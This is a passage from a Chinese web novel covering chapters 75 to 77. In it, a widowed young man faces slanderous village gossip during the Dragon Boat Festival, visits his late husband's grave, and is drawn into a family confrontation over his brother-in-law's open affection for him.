“是啊夫子,要罚还是罚我吧。” 秦明风脑袋嗡嗡的疼,他呵斥道:“都给我住嘴!谁再说话,凌月就多站一个时辰!” 学子们瞬间没了动静,凌月知道秦夫子在气头上,他今天无论如何也躲不掉罚。 干脆拿着书,要出去站着。 秦明风冷声道:“犯错者不配看圣贤书,给我把书放下!” 凌月面无表情的看秦明风一眼,他自己被骂了,哥哥的心意还被糟蹋,他都没气成这样。 他实在是不能理解,眼前的秦夫子到底为什么这么大的火气。 为了避免秦明风继续无理取闹,凌月把书放下,反正还能默背。 看到凌月无法抵抗,只能认命的出来罚站,秦明风此时的心里才舒坦一些,有了一丝掌控的成就感。 凌月被罚了一整节课,脚站的生疼。不过之前背的不太熟练的东西,经过这一遭,已经烂熟于心。 强行集中注意,能削弱对痛的感知,提高专注和记忆里,倒是发现了一个不错的办法。他想,后面要是再遇到一直背不熟练的东西,就自己站着一直背,背到熟为止。 期间路过的夫子看见罚站的凌月,耳语一番后知道缘由,也只能摇头叹息。 山长的妻弟,他们也不敢招惹。 好在秦明风今天就一节课,他走后凌月就进了学堂坐下,认真的看书。 晚上回家,凌月把肉带了回去。 沈回在县学自然是听到了些东西,他想了一下道:“秦夫子为人处事有问题,他罚你不代表真的是你错了。” 凌月点点头,很是赞同。 “沈二哥不必安慰我,我知道的。他是疑心病重,自己缺什么就惧怕什么,是自以为是,自我感动,唯我独尊的人。我不会因为他而感到难过,影响情绪。” 沈回沉默了。 凌月是真的成熟稳重过了头。 县学里发生的事,凌月没有瞒着凌星,看到凌星眼中的担忧,凌月道:“哥哥你放心,我不会让秦夫子影响到我的。” 凌星轻叹一声,心疼的抱了抱弟弟,“阿月受委屈了。” 凌月红着耳朵,纠正道:“是阿月让哥哥受委屈了。” 凌星轻笑一声,捏捏弟弟的脸,软乎乎的。 端午这日,凌星只上午开了铺子,中午关门回家过节,也让柳家兄弟回去,下午放假不开铺子。 凌月和沈回放两天的假,凌星就想着回一趟小柳村。 给沈来请一天半的假,还能在家住一夜。 坐马车也快,中午随便吃一口垫垫肚子,能早点到家。 明天铺子让柳家兄弟来开,只卖凉皮,肠粉,还有猪皮冻。都是他们一直做的,已经完全熟练。 关了铺子回到小院,凌星和凌月收拾东西,沈回去租马车。 收拾到一半,院门被敲响,是王团奉林县令的命前来。 还带着一大包的香肠。 凌星接过香肠,才想起还有这茬。 他只知道前面修建香肠工坊时,林清渝费了不少的心,也下了血本要把它弄好。前期选地都看了好多个地方,最后选择建立在通风阴凉的山后。 在炎夏的时候,这里弄点冰就可以很好的做到降低温度,保证香肠的产出。 后面就没太关注了,他的铺子也忙,直接忘在脑后。 香肠晾晒时间按着装的肉多少,温度环境,在七到十五天。 算算时间,也差不多是这时候弄好。 王团环视院子一圈,没看到沈回,估摸着是不在。 他很快回神对凌星道:“大人说第一批即将售卖,趁着过节,先给凌哥儿送些来,叫凌哥儿尝看看,有没有什么不对。” 凌星闻言打开油纸包,里面有四种不一样的香肠。 他当初写了两种风味,烟熏和风干。口味则是香辣和五香。 林清渝全都给弄了出来。 凌星是知道林县令此前已经雇了不少人,专门尝味,进行了味道调配的。 味道肯定不可能差。 但他还是照做,让林县令更安心一些吧。 “劳烦等一下,我去蒸一点尝尝。” 王团自是点头应下。 凌星切的多一些,准备出去的时候再买点馒头,正好路上吃填填肚子。 香肠蒸起来很快,凌星每种口味尝了尝,眉间舒展,带着笑意,“味道很好!” 王团跟着笑道:“有凌哥儿这句话,大人该彻底放心了。” 凌星收拾着剩下的香肠,准备带回村,给家里还有谢青崖送些。 他卷着油纸,想起什么,对王团说:“官爷可否帮我问问县令大人,刚灌好没风干的肠,能不能售卖?” 王团道:“好,我回去就问一下大人。” 知道凌星后面有事,王团也赶着回去复命,很快就离开小院。 林清渝从王团那听到凌星对香肠味道很满意,心情愉悦的点头。 又听王团说,凌星专门询问,想要买没风干刚灌好的肠,他一下子就想到凌星是要用鲜肠做吃食,放在铺子里做生意。 凌星做吃食的点子多,说不准鲜肠也能因此开辟出市场来。 正好也要弄卖肠的铺子,好对外出售。总不能来的货商,全都往衙门挤。 铺子的钱全是县里公帐出,收益也归公帐。多卖一样,还能多赚一份的钱,鲜肠加进去也行。 “明天你跑一趟凌记小吃铺子,告诉凌星三日后在春华街会开香肠铺子,让他直接去买就行。” 王团应声,领命退下。 在沈回租马车回来前,凌星已经买了足够多的馒头路上吃。 等沈回租了马车回来,把要带回家的东西拎上马车,他们直接去银杏街接沈来。 不仅凌星他们赶着回去,没时间做饭吃。沈来中午也没吃饭,上来就一口气吃了三个馒头,里面夹着蒸香肠,口味风味不同,吃起来味道也各不相同。 切成薄片的香肠,肉香味浓郁,肉质肥瘦相间,色泽红润油亮。味道有微辣开胃,也有咸香鲜美。 不可否认,每一种都很好吃。 但沈来更偏爱吃烟熏风味的,有一种特殊的回味,他觉得很香。 柔软的白面馒头,夹着烟熏香辣的香肠,肠上的油脂沾染在馒头上,一口咬下带着一半的香肠,实在是好吃的停不下来。 凌星看着狼吞虎咽的沈来,不知他今天中午是不是又被排挤,才没吃上饭。 这些日子,沈来从不讲在医馆里的事,想来是没有什么高兴的事,不然以他的性子早就讲了。 凌星心里轻叹,从水囊里倒一杯温水递过去,“小五喝点水,别噎着了。” 沈来接过水杯,对凌星一笑,“好的哥夫。” 第76章 第 76 章 火上浇油 正值午后, 又是端午,小柳村的村民们还没下地,村口大树下的阴凉地,也坐着不少人在闲聊。 在看到不远处前来的马车后, 闲聊的人纷纷停下话头, 齐刷刷的看向马车的方向。 小柳村几乎不会有马车过来,村民们对来人很好奇, 全都紧盯不舍。 随着马车越来越近, 他们终于看清来人是谁。 原来是秀才公 , 沈家的老二,难怪驾着马车呢。 村民们的视线随着马车一起动, 直到再看不见, 才舍得收回视线。 安静的人群里再次有了声音。 “呵,沈家这真是不一样了,瞧沈二郎那气派, 以前和现在没法比。” 人群中立即有人打趣道:“瞧瞧,赵夫郎这是之前不要嫁沈二, 这会看沈家发达起来,在这拈酸呢?” 其他人闻言跟着哄笑,被点名的赵夫郎面上一红,气道:“你浑说什么呢!” 哪是他不要嫁沈二?从一开始就只是媒婆顺口介绍了, 村子里尚未娶妻和夫郎的男子, 里面正好有沈二而已。 他从这些人里选了个最适合过日子, 又有什么不对? 从前沈家没发达, 这些人在他面前,都说幸好他没选沈二。 现在倒好,风向全变了。 有几个嘴碎坏心的东西, 甚至混淆黑白,说他当年是欺沈二家穷。 就算是以玩笑口吻说出,可他听着心里就是不高兴。 天老爷,他和沈二明明一句话都不曾说过,人家也无意相看,都是那媒婆顺嘴一言罢了。 可真是叫他有嘴说不清。 好在小柳村的村民到底不敢真说什么,毕竟他们现在有好几家的姑娘,哥儿还有媳妇,夫郎跟着徐婶子做活。 按着做多做少给铜板,每天上限十个铜板。 人说了,生意后面要是做大,还得招人,上限也调的高高的。 大家都盼着呢。 更别说沈回身份非比寻常,确实也不敢在他身上耍嘴皮子。 回头把人得罪了可就不好。 不过眼下村子里新鲜值得聊的只有沈家,沈家里其他人都不好说,但有个人是例外。 “我猜那马车里头坐着沈大的夫郎,他也是好命啊,沈家现在发达,一个寡夫日子也过的红火起来了。” 此话一出,引得不少人的共鸣和肯定。 “是啊,谁有他好命,遇着沈家了。连弟弟都帮他养着,还叫他去县里过好日子。” “我看他年岁不大,也没个一儿半女的,你们说他真能为沈大守住吗?” “以前肯定守不住,以后可就说不准了。就沈家这样的好日子,给你你舍得走?” 那肯定舍不得。 “不对啊。”人群里有个婶子疑惑道:“我怎么记得是那凌哥儿想的赚钱法子,这才带着沈家起来的?而且之前我家闺女回娘家,还说她在镇上看到过凌哥儿开铺子呢。” 赵夫郎见话题终于不在自己身上,松一口气,急忙跟上话头,“那铺子现在不也在沈燕夫妇二人手上?我估摸着就是沈家的家产,前头让他打理的,这不还是回到沈家自家人手里了?” 众人也不知道具体是怎么回事,沈家自从卖了屋子在山脚另盖,就不大有时间和村子里来往。毕竟他家大郎那时候需要人,更需要钱,一家子所有时间都用在挣钱和照顾沈还上。 就算在村子里时,也很少见沈家人出门闲聊的。 离的稍远点,自然更不可能。 也让他们对沈家了解很少,还停留在沈还在世时的时候。 至于沈家后面如何把日子过起来的,还真不晓得。 怕是只有和他们家走稍近的村长,还有谢哥儿清楚。 左右就是大家伙闲来无事凑一起闲聊,那都是想到哪里说到哪里。 但话题一直都聚集在凌星身上。 没办法,他的身份实在是特殊。 身处在风口上的沈家,却并不完全是沈家的人。 还是个流浪来的哥儿,身份家世都不清楚,本身带着些神秘,还走了大运。 跟着沈家一起,日子过的比村子里谁家都强。 尤其是养了一年多,凌星的身形终于正常,样貌好看的叫人无法忽视。 过于好看的样貌,在村子里,并不是一件好事。 拈酸嫉妒的人可不少。 话头一起,就再也没停下。 起初顾及着沈家,说的倒也正常。 后面就越来越不对劲。 “哎,你们说沈大郎他之前虽然病着,可好歹有气活着。怎么刚娶了夫郎冲喜,还把自己给冲死了?” “啧,你这就不懂了吧?那凌哥儿年纪轻轻就一副勾人的样子,沈大郎怕不是就被他勾了魂,这才咽了气去。” “哟,韩婶子这话说的不对啊,那凌哥儿刚来的时候你不是也在沈家帮忙,那会他可是瘦的不能瞧,哪有现在的好颜色,咋勾的人?你说沈大郎是被他硌死的我都能信。” 被年轻小媳妇反驳的韩婶子有些下不来台,她在这大树底下说消息,谁人不是听着,然后应和她说的对? 韩婶子翻了个白眼,连着反驳她的小媳妇一起说。 “你们这些小年轻,哪个不是不知羞?天天拉着汉子勾着汉子,说两句话就娇滴滴的喘上。就算是个木头,也能被勾起来。” “你看那凌哥儿长的狐媚样子,他能没点手段?要我说沈大郎就是被他给害的!老沈家不听我的非要娶他冲喜,吃了苦头还被蒙在鼓里,也是叫人操心,还叫一个克夫的哥儿享了家里福气。” 那小媳妇被她的话臊的不敢再开口,韩婶子也就是欺负她还脸嫩,故意说这些堵她呢。 不过这次应和韩婶子话的倒是没几个,实在是她后面的话太过了,这是平白坏人名声啊。 他们都指望着沈家给活干呢,那凌星再怎么是外姓人,也比他们和沈家亲近。 且沈家发家的具体的情况他们也不清楚,万一就是凌星厉害呢? 这会跟风说话,可不是什么好选择。 祸从口出,还是闭嘴的话。 韩婶子见只有零星几人应声,心理落差大,不太得劲,想说更多。 没等张口,就被一声怒吼吓的一激灵。 今日端午,谢青崖和王隽专程去镇上吃了顿好的。韩婶子被反驳后情绪激动,越到后面声音越大。 叫谢青崖听了个正着。 王隽了解自己的夫郎,抬手要拽人,终究还是晚了一步。 人就像是只兔子一样,咻的一下就跳出去,叉着腰就嚷嚷起来。 “说的头头是道,咋!你那天趴沈还和星哥儿床下看着啦!” 韩婶子被突然蹿过来的谢青崖吓的尖叫一声,还没等她回神,就听谢青崖又继续叭叭叭的喊道:“你知道星哥儿他每天起早贪黑的出摊子做生意多难吗!这一切都是他自己努力来的,才不是享了谁的福气,更没有克夫!” 太过分的话,谢青崖没说出来。 沈家一直没有言明点子都是凌星的,也是为了保护他。 木秀于林风必摧之,这个道理他是懂得。 因此他也没有解释的那么详细,怕给好友招惹不必要的麻烦。 韩婶子脸色难看,嘴上喊不过谢青崖,便站起身想动手。 王隽及时拉了谢青崖,把人护在身后,自己轻咳一声,声音淡淡,“婶子,你当真以为沈家人不会追究你今日的妄言吗?” 韩婶子不确定。 她的手僵在半空,上也不是,下也不是。 她不过就是看那些狐媚子不顺眼,出言提点两声罢了,沈家不会真的为那凌星出头吧? 这时的韩婶子终于从编排人闲话,而有的满足感和兴奋感里挣脱出来,生出些忐忑不安。 因为她家二儿子的夫郎正给徐有芳做活,他手巧,被排去剪绒线,一天十个铜板是实打实拿在她手里。 这要是没了,她去哪一天白拿十个铜板啊! 韩婶子偃旗,在触及王隽的眼神时,不由又有些心惊。 人吓的腿一软,直接跌坐下去。 看着分明也是个病秧子,可这眼神怎么这么叫人害怕? 就这一眼,盯的她腿都打摆子。 王隽见韩婶子彻底熄火,这才拉着谢青崖继续走。 “你就不该拉着我,叫我同她打一架,看谁厉害!” 路上,谢青崖还对刚才的事情不满。 王隽轻轻捏了一下他的手,温声道:“我瞧着应该是沈回和凌星他们回来了,你不去看看凌星,要把时间用在和人打架上?” 听到凌星可能回来了,谢青崖眼前一亮,“你怎么知道回来了?” 王隽道:“村口的土上有车辙,我们走的时候还没有。今日又是端午,我想应该是他们回来过节。” 而在小柳村会坐马车的人,目前为止,王隽就只见过凌星和沈回他们。 当然也可能是他猜错了。 若是猜错,明日便带他的夫郎去县里与好友相见,算是害的人白高兴一场的赔罪。 谢青崖觉得王隽分析的挺对,他都没注意到地上的变化。 “那我们先不回家,直接去沈家看看!” 王隽应他,“好。” 此时的沈家正热闹着呢,徐有芳刚在家里说今年端午家中少了人还不习惯,寻思过两天去县里看看。 正好也要把绒花往县里送,和几家首饰铺子谈买卖。 说来也巧,话音刚落,沈来欢快的声音就在院子里响起,“爹娘!你们的小五回来啦!” 乌雪是家里反应最快的,跑起来只见残影。许久不见小主人的乌雪,尾巴摇的飞快,一直往沈来身上趴。 狗狗这些日子里,每天都很想念。 求抚摸,求安慰。 前面也参与训练乌雪的沈来,自然是很懂狗狗的心,二话没说蹲下身,热情的拥抱大狗。 从上到下,给乌雪摸舒服了。 “哎呀我的乌雪,哥哥想死你啦!” 乌雪嘤嘤的回应。 狗也是! 家里都吃了饭,这会正在堂屋,也在闲聊着呢。 听见动静欣喜非常,全都往院子里涌。 没人敢挤徐有芳,她第一个出来,看到最前面的沈来时,眼眶一下子就红了。 孩子瘦了,脸色也有藏不住的疲倦。 因长期不见,一下子就能看出区别。 她心知凌星和沈回都不可能对沈来不好,那只能是学医那边折腾的。 “小五,快过来叫娘看看。” 沈来松开乌雪,笑着奔向徐有芳。 但徐有芳笑不出来。 自己的孩子自己知道,真心想笑还是强颜欢笑,是有区别。 就算沈来装的再好,但当娘的就是能一眼看穿。 就像当初发现沈回的不对劲一样。 徐有芳至今都在后悔,没能再多关注一些沈回,这样就能更早发现,有望及时制止。 而不是等沈回掰都掰不回去才看出来。 沈呈山第二个走过来,看到沈来抱着徐有芳撒娇后,呵呵笑道:“瘦了,还是这么皮实。” 徐有芳没忍住瞪了他一眼,二儿子异常没看出来,天天追着她问怎么回事。 结果小儿子不对劲还没看出来。 这老东西两眼睛是装饰吗! 不过徐有芳也只是瞪一眼就作罢,因为家里其他人和沈呈山一样。 沈回手里拎着一堆东西进院子,凌星和凌月两人手里各拎一包糕点。 还是沈回看出凌星是真想帮他分担,不想辜负心上人的好意,也想享受一下心上人的体贴,这才从一堆东西里,精挑细选了两份糕饼。 然后凌月又怕哥哥累,硬是把两份并不重的糕饼,又分了一份到自己手里拎着。 沈归在后面出来,没在沈来那多停留。 不过在路过时,伸手摸了下弟弟的脑袋,顺利被他娘拍了一掌后,乐呵呵的过来帮忙提东西。 沈家人全都上去帮忙,徐有芳一边收拾一边对凌星笑,“人回来就好,咋还带这么多东西?下次可别带了,家里都不缺。” 凌星道:“我就是觉着好,想一家人都能体验到。” 这话说的徐有芳心里软乎乎的,“那娘可得好好体验,不枉费咱们星哥儿的心意。” 沈呈山看着一家子人齐了,心里也是高兴的很。 “晚上咱多做几个菜,好好的吃一顿!” 说到人齐。 沈呈山看向凌星,“星哥儿啊,今天过节,家里难得团圆。” 去年端午沈燕一家不在,今年不仅在还有了外孙呢。 他高兴是真高兴,可心里也空了一块。 沈呈山有些犹豫,“爹想一家子都去看看大郎,你愿意去看看你夫君不?” 他一直想着凌星是冲喜嫁给沈还的,感情缘薄,只相处了三天就生死永隔。 怕凌星不喜,家里很少会在他面前提起沈还,更没有说要他去看沈还。 若非这次人聚齐了,又是过节,还是祭祀的日子,沈呈山也不会提。 凌星确实是愣了一下的,他已经很久很久没有听到“沈还”。 脑海里立马浮现出他们相处三日的情形,沈还临终时尽力给他留的东西,他也一直压在箱子底下。 自己能在沈家过这么好,多亏对方的遗言,为他安排好一切。 是该去看看的。 “好的爹。”凌星问道:“什么时候去啊?要是晚点的话,我给……夫君蒸个香肠,是县令大人那边刚弄出来的,叫他也尝尝鲜。” 从未喊过那个称呼,凌星有些卡壳。 他本来是想直接喊大郎的,又想到他如今是沈还的未亡人,沈呈山前面提起“夫君”,干脆就喊夫君吧。 徐有芳在边上看着,见二儿子手握成拳压着动作,克制着内心翻涌的情绪。 随后又听她那眼睛“看不清”的丈夫喊道:“二郎啊,你去杀只鸡,炖了一起给你哥送去。” “哎呀,你哥要是见到你哥夫去,还专门留好东西想着蒸给他吃,九泉之下,他肯定会高兴。” 沈回不语,只是转身杀鸡。 徐有芳拍了拍沈呈山的肩膀,要不是孩子们都在,她真想把他眼睛撑起来,叫他好好看看。 这不是纯刺激二郎吗! 她当初就是一步错,步步错。 以为让星哥儿叫他嫁娶,知道星哥儿心里没他,就能放下这段不应产生的感情,能回到正轨上去。 结果就是把人直接逼着和她摊牌。 这下好了,这老东西竟然让星哥儿当着二郎面叫大郎夫君。 按着二郎如今要疯不疯的性子,她都不敢想他会做什么。 火上浇油!简直就是火上浇油! 注意到徐有芳不满的视线,沈呈山不知道自己又哪里惹妻子生气了,连忙说要去找纸钱,借机脱离对方视线。 谢青崖这时来了沈家,看到外面马车就知道他相公说对了。 “星哥儿!” 凌星听到声立马从灶屋探头,“青哥儿!” 两个好友高兴的勾肩搭背,好久不见,甚是想念。 谢青崖率先道歉,“之前还说要经常去看你呢,结果我太忙了。今天才轻松些,躲懒连饭也不想做,去镇上吃了顿好的。” “我怎么会因为这些怪你。”凌星拉着人进灶屋,“你来的巧,我从县里得了个新鲜吃食,给你带了,快进来看看。” 听说有吃食,谢青崖动作都快不少。 第77章 第 77 章 “听不得他那样叫大哥。…… 汉子们在外头做力活, 沈来带着小春小夏在和乌雪玩,凌月则是去找王隽,问一些课业上的问题。 灶屋里,谢青崖坐在凳子上, 越说越生气, “这些是叫我听见了,没听见的时候多了去, 都不知道他们给星哥儿编排了些什么。” 谢青崖把在村口发生的事情, 一字不落的说给徐有芳听。 他再怎么帮着出头, 也不姓沈,没什么威慑力。村子里的一些人, 不会因为他, 就觉得沈家看重星哥儿。 若非他知道沈家很少去村子里,就算出村子,都是走山间野路, 和村子没多大的交集。 这些难听的话,沈家人是不知晓的。 不然他今天非得连着沈家一起骂。 问问他们怎么叫星哥儿这么被人编排! 凌星没想到村子里有人这样说他, 又是狐媚子,又是克夫的。 他听着只觉得玄幻。 这些词汇,竟然是用在他身上的吗? 没记错的话,他来小柳村一年多了, 天天忙着出摊子赚钱, 都没和这些村人打过什么交道吧。 到底是怎么说到他头上的。 徐有芳闻言沉着脸, 这韩婶子她知道。 是个嘴碎爱说的, 和于桂香有些相像。两人一个看谁都不干净,一个一张嘴就知道胡说八道,特别爱编排是非。 关键是她编排就算了, 还喜欢满村子讲。 听的人越多,她越高兴,编排的就越多。 说的那些还都有鼻子有眼,动不动就发誓说肯定是真的,要是有假,就天打五雷轰。 可见老天爷是没长眼睛,到现在也没见真有个雷劈死她。 幸好当初她家想给大郎冲喜的时候,拒绝了韩婶子家的七哥儿。 有这么个亲家,谁家都受不了。 “青哥儿,婶子谢谢你将此事相告,也感激你今日替星哥儿出头。” 从前沈家人都喊谢青崖王夫郎,大家都是这么叫。 后面因凌星的关系,沈家也与其亲近,家里汉子们喊谢哥儿,其他人都跟着凌星喊青哥儿,以示亲近。 徐有芳是真心感谢,她是真的不知道还有这事。 家里如今人人都有事忙,为家族长远的发展努力,哪有心思想这些东西。 不过这种事确实会存在,怪她没有往这些方面多想想,忽略了,平白叫星哥儿挨了骂。 知道徐有芳的态度后,谢青崖松一口气,笑着摆摆手,“不必谢我的婶子,星哥儿是我挚友,不管出什么事,我都会站他这边,无条件的帮他。” 凌星感动的不行,默默给谢青崖多夹了一根香肠。 因为沈家待会要去祭奠沈还,谢青崖见完人,也说了事,怀里抱着凌星塞给他鼓囊囊大油纸包,高兴的和王隽携手回家去。 沈燕把灶膛里的火灭掉,问徐有芳道:“娘,你打算怎么办?” 徐有芳看向凌星,叹一口气,“是咱们家叫你受了委屈,放心,这事娘一定处理好,给你个交代。” 流言如杀人刀,凌星不敢就此放任,说什么清者自清。 他点头,“多谢娘。” 村子里的事暂且放一遍,家里得先去看沈还。 因为炖鸡耗费时间,到的时候已经临近黄昏。 徐有芳把做好的鸡,猪肉,还有凌星蒸的香肠,以及糕饼,一一摆在沈还坟前。 沈家其他人各自忙活开,擦拭沈还墓碑、拔草、准备火盆和铜钱。 一切准备妥当,沈呈山终于坐在沈还墓前,红着眼眶道:“大郎啊,你在那边可还好啊?家里一切都好,不似之前吃不饱穿不暖了。” 说到这里,他对着凌星招招手,让凌星坐他边上。 “家里能有今日,都是你夫郎的功劳。你在天有灵的话,记得保佑他,知道不?” 凌星坐在地上,看着黑沉沉的墓碑,心里道了声谢谢。 谢谢你替我打算了那么多。 徐有芳见凌星神情专注的看向墓碑,瞥了一眼边上的沈回。 瞧着倒还正常。 她没再看沈回,转头和沈还说话。 说到最后哭的不能自已,摸上冷冰冰的墓碑,痛苦道:“娘不好,娘对不起你啊大郎!” 老大的夫郎被老二看上,她却束手无策。 这事,是对三人的名声都有损。死了的人,被说难听闲话并不比活着的人少。 明明是清清白白的走,结果却因这些事落下话柄,成了人茶前饭后的谈资。 这是扰故去之人安宁啊。 徐有芳光想想就心疼的不行,偏偏两个都是她儿子。 沈归,沈燕和沈来也和大哥说了许多话。 他们记忆里的大哥,虽然卧病在床,但对他们很好很好。 能够敏锐察觉到他们的不开心,劝解安慰他们。总是对他们笑着,温和说话。 大哥似乎从来不会生气,尽自己所能的照顾着他们。 他们想大哥,却再也见不到。 每每想起时,心里觉得空落落,酸涩的很。 沈家人和凌星都沉浸在各自情绪中,凌月没有见过沈还,没接触过,只听凌星说过,能在沈家过的好,多亏了沈还。 凌月感激他,对着墓碑,恭敬拱手行礼,心中暗自道:多谢沈大哥。 太阳西沉,天光变暗。 回去的路上,沈家人都在沉默。 悲伤思念的情绪无法快速舒缓,只能慢慢调节适应。 山脚树挺多,眼下正是生长的茂盛时候。 前方一棵大树延伸出去许多枝桠,凌星见那枝桠在他头顶上,便没有躲开走。 却不想树枝突然被跑动的松鼠压了一下,快速往下甩。其他人包括凌星自己都反应不及,眼看着枝条要打在脸上,沈回及时从身后护住人。 枝条抽在沈回的耳朵和侧脸上,瞬间红了大片。 他却没顾上自己的伤,低头查看凌星,“可有伤到?” 凌星摇摇头,视线看向沈回的左侧脸和耳朵,流血了。 正想再看的仔细些,却听沈呈山怒道:“沈回!你成何体统!” 凌星这才注意到,自己被沈回虚抱着在怀里。 虽然没有直接的肢体接触,可这个动作,从其他角度来看,着实是会引人误会。 在沈呈山吼了一声后,沈回没有立即放下手臂,而是稍顿片刻,才有动作。 意识到沈回举动与之前不同的凌星,看向沈回的侧脸,心跳突然加快了许多。 一旁注意力也在凌星身上,想要拉凌星避开树枝,却慢沈回一步的凌月,视线在二人身上来回晃。 哥哥脸红了?氛围似乎有些奇怪。 他拽上凌星的衣袖,一路都在沉思着。 沈回的举动沈呈山在眼里,心里一惊。 他发现了沈回听他喊出声后,是停一瞬才松开。 沈呈山脸色很不好,他若有所思的看向徐有芳。没想到有芳面色自然,没有半点惊讶之色。 再联想起前段时间自己夫人和二郎之间关系僵硬,一下子就想通了关窍。 原来他方才的猜想竟然是真的! 沈呈山诧异又愤怒的转头看沈回,察觉到视线,沈回直接抬眼对视。 眼眸深沉,蕴藏着情绪,无半分躲避。 沈呈山面色又沉几分,这小子刚刚是故意的。 故意叫他发现。 徐有芳无视父子间的暗流涌动,心里反倒平静。 她就知道星哥儿那声夫君,肯定是刺激了二郎。 还好二郎晓得收敛些,没有直接说出来。 沈归几个小辈走在前头,没看仔细。只知道大哥夫差点被树枝打到,二哥及时护了一下。 倒没觉得什么,毕竟是危险关头上,二哥的举动有出格,却也合理。 回到家,沈呈山压着声音叫沈回跟他进屋。 东头房里点着油灯,依旧昏暗。 徐有芳没进去掺和,让父子俩自己说。 屋里安静的可怕,喘息声都变得明显许多,沈呈山压着火气,“你什么时候有的这歪心思?” 这个问题,沈回也想过。 可能是凌星注意到他衣服缝补问题,给他缝衣服。可能是凌星怕他头发不好看,专门给他修建头发。可能是明知他身手好,但依旧为他的安危多一份保障,专门为他换驱蛇药。也可能是之前每天都怕他饿肚子,额外专程给他备吃食…… 这份感情,有太多个瞬间组成。 让他想被更在意,获得对方更多的视线。 沈回低眸,“婚礼那日,我背他进门,觉得他很轻。后来出摊子,他体力不支,我提议继续背他,能节约时间。可慢慢的,我发现自己想一直这么背下去。” 沈呈山没想到竟然这样早,他仰头看着人高马大的儿子,涌现出沈回儿时模样。 二郎刚出生时,就不哭不闹,省心又好带。 他身体健康结实,当爹娘的自然就多操心身体不好的大郎。 二郎基本上都是奶嬷嬷和仆人带着,偶尔也会去老太太屋里住一阵子。 后来到了年纪要去家学启蒙,更是不用他们做爹娘的操心了。 偶尔路上遇见文夫子和武夫子,二人对二郎都是满口夸赞。 孩子如此优秀省心,让他们更加有心力照看大郎。 因为二郎没有他们,依旧能活的很好,大郎却离不开他们。 家里出事后,二郎才八岁,跟着一路逃亡,帮着照顾弟弟妹妹,一直到小柳村安定下来。 因大郎身体不好的缘故,加上其他孩子更小,他们那时候对二郎,确实多有忽视。 沈呈山一直都记得,牙牙学语的二郎,在祖母怀中喊他爹爹。三岁的二郎,只有一点点高,就捧着看不懂的课本,端正的坐在家学中。四岁的二郎,开始跟着武学师父扎马步,肉乎乎的小脸上,一派严肃认真。 那么小的孩子,如今已经长的这么大,这么强壮了。 叫他都只能仰头,才能看见孩子的脸。 “爹,从小到大到,我没有什么想要的。但如今,我想要凌星,要他喊我夫君,做我的夫郎。” 沈回掀起衣袍,屈膝跪地,“望爹成全。” 沈呈山神色复杂,皱着眉问,“若是爹不成全,你会放弃吗?” “不会。”沈回斩钉截铁,没有丝毫犹豫。 对于沈回的答案,沈呈山心知肚明。若是会的话,孩子他娘也不会是这个反应。 想来在他之前,孩子他娘已经试了一切能试的办法,发现实在没用。 所以就此默认了。 沈呈山无奈摇头叹息,事已至此,他也不好再做什么。 正要叫人起来,突然又想到了什么,疑惑道:“你今日是故意让我看到,为的就是我让星哥儿喊了你大哥为夫君是吗?” 沈回垂眸颔首,“嗯,孩儿听不得他那样叫大哥。” 沈呈山压下去的火又蹭蹭蹭的冒了出来,“什么叫你听不得?事实就是你大哥就是星哥儿的夫君,星哥儿是你的哥夫!今日还是去祭奠你大哥,你小子竟是一刻也忍受不了,还为此警告起你爹来了?且跪着吧!” 沈回应了声,继续跪着。确实是他不对,应该挑个时间。不过也是赶巧,那个时候,是能让他爹最快反应过来的。 只能说,是天意吧。 沈呈山气冲冲掀开门帘,出堂屋时差点和凌星撞上。 他及时止住,想问凌星要干什么去,就看见他手里握着装药膏的小陶瓶,还有挖药膏的薄木片。 这是沈回之前做治疗伤口的,家里人擦碰有伤口的话,也会用。 因为一直没用完,瓶子还是原先的陶瓶。 沈呈山想到沈回脸上和耳朵上,伤口好像是有些重。那树枝看着细,但这东西就是越细,抽的越厉害。 回想沈回方才说话时的模样,又想到做爹娘的着实是有亏欠,到底还是没叫凌星把东西给他。 “给二郎上药的话,他在东头房。” 凌星朝着东头房快步走去,沈呈山跟在后面,坐在堂屋守着。 刚坐下就对外喊道:“乌雪!快过来!” 狗子听到叫它,哒哒哒的跑过来,对着沈呈山摇尾巴。 沈呈山摸着狗头,看向东头房的帘子。 二郎知道他在外面,该是会收敛着。 凌星没想到掀开帘子时,会看见沈回跪在地上。 沈回在他掀开帘子前,就听出了脚步声。 他在凌星掀开门帘的瞬间转过头,微微一笑,眼眸中都藏着亮光,“哥夫怎么来了?” 凌星放下门帘,进入东头房,“给你送药。” 走到沈回面前,凌星蹲下身,把陶瓶递给沈回,“怎么跪着?” 沈回打开陶瓶,用木片挖取一小坨棕褐色的药膏。 “犯了错,爹罚我。”他说的云淡风轻,在将手中沾有药膏的木片,送到凌星眼前时,语气中却添了些不可说的情绪,“我看不见伤口,哥夫帮我上药?” 凌星一想也是,伸手捏着木片根部,凑近沈回。 微凉的药膏触碰上皮肤,沈回心里紧了一下,此刻耳朵和侧脸皮肤,能够感觉到药膏触感之外的鼻息。 双手在看不见的地方紧握成拳,缓解内心的紧张与兴奋。 “二郎疼吗?”凌星小声询问着。 沈回眼眸低垂,遮掩其中情绪,声音有些低沉,诱哄道:“疼的。哥夫动作再慢点,轻点。” 凌星闻言连忙慢下来,药膏涂抹也更仔细。 外面的沈呈山等急了,不就送个药膏,咋还不出来? 他想了又想,轻拍乌雪狗头,手一指东头房,示意它进去。 乌雪很聪明,一下就看懂指令。 又因屋子里有它熟悉喜欢的气味,跑起来飞快。 沈呈山清一下嗓子,“哎呀!乌雪你咋跑屋里头去了!” 他大步追上,眼睛根本没看乌雪一下,直接掀开门帘。 看到凌星只是在给沈回上药,沈呈山放下心。 又见凌星动作轻缓,时不时的还要吹一吹,把二郎当成了什么稀罕宝贝一样呵护着。 沈呈山提醒道:“星哥儿你别弄的太仔细,他皮糙肉厚,随便糊一点上去用手搓搓就成。” 凌星嘴上应着,手上功夫半点不见含糊。 沈呈山心里啧一声,难怪二郎会钟情…… 因沈呈山在,沈回规矩许多,没再说什么疼。 外面很快传来叫吃饭的声音。 一家人其乐融融的吃了饭,第二天凌星去找谢青崖待了会,便回去收拾东西,准备回县城。 沈回脸上和耳朵的伤看着吓人,却并不重。 抹两次药膏后,已经大好。 知道县城小院种的菜才刚发芽,徐有芳给马车里塞一堆的菜蔬和菜干。 目送四人走后,徐有芳同沈呈山一起去了村长家。 关于沈回的事情,老两口昨晚也达成共识,随缘吧。 只要凌星愿意就成。 老二那边,他们是真的管不住。 夫妻两这时去找祝村长,为的是谢青崖昨天说的事情。 